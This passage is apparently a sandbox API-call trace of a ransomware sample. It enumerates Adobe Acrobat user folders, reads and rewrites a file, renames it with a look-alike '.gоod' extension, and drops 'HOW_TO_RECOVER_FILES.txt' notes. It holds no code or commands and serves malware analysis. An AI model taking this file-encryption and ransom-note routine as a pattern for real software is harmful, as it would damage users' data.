1 [0179.609] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x744227d1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x744227d1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdfed8af5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0179.609] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0179.609] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0179.609] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0179.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0179.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0179.609] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x31 [0179.609] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdff10de7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.609] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdff10de7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.610] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assets", cAlternateFileName="")) returned 1 [0179.610] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x744227d1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x744227d1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdfed8af5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0179.610] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0179.610] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.610] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0179.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0179.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0179.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0179.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), fInfoLevelId=0x0, lpFileInformation=0x37ace10 | out: lpFileInformation=0x37ace10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x744227d1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x744227d1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdfed8af5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x9c00)) returned 1 [0179.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0179.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0179.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0179.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0179.612] GetFileType (hFile=0x828) returned 0x1 [0179.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0179.612] GetFileType (hFile=0x828) returned 0x1 [0179.612] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0179.612] ReadFile (in: hFile=0x828, lpBuffer=0x37ad238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x37ad238*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0179.614] CloseHandle (hObject=0x828) returned 1 [0179.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0179.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0179.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0179.614] GetFileType (hFile=0x828) returned 0x1 [0179.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0179.614] GetFileType (hFile=0x828) returned 0x1 [0179.614] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x9c00 [0179.615] WriteFile (in: hFile=0x828, lpBuffer=0x37b0210*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x37b0210*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0179.616] CloseHandle (hObject=0x828) returned 1 [0179.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0179.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0179.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0179.616] GetFileType (hFile=0x828) returned 0x1 [0179.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0179.616] GetFileType (hFile=0x828) returned 0x1 [0179.616] ReadFile (in: hFile=0x828, lpBuffer=0x37b6570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x37b6570*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0180.689] CloseHandle (hObject=0x828) returned 1 [0180.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0180.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0180.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0180.689] GetFileType (hFile=0x828) returned 0x1 [0180.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0180.689] GetFileType (hFile=0x828) returned 0x1 [0180.689] WriteFile (in: hFile=0x828, lpBuffer=0x3435668*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x3435668*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0180.690] CloseHandle (hObject=0x828) returned 1 [0180.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", lpFilePart=0x0) returned 0x40 [0180.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages.gоod", lpFilePart=0x0) returned 0x45 [0180.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0180.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x744227d1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x744227d1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x67ea1443, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c10)) returned 1 [0180.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0180.690] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages.gоod")) returned 1 [0180.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.691] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets", lpFilePart=0x0) returned 0x38 [0180.691] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.692] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.692] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.692] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets", lpFilePart=0x0) returned 0x38 [0180.693] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.693] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.693] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.693] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0180.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0180.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\assets\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0180.695] GetFileType (hFile=0x828) returned 0x1 [0180.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0180.695] GetFileType (hFile=0x828) returned 0x1 [0180.696] WriteFile (in: hFile=0x828, lpBuffer=0x34bf968*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x34bf968*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0180.698] CloseHandle (hObject=0x828) returned 1 [0180.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search", lpFilePart=0x0) returned 0x38 [0180.698] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.699] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.699] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.700] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0180.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search", lpFilePart=0x0) returned 0x38 [0180.700] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0180.700] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.700] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0180.701] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0180.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0180.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0180.701] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0180.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0180.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\HOW_TO_RECOVER_FILES.txt" (normalized: 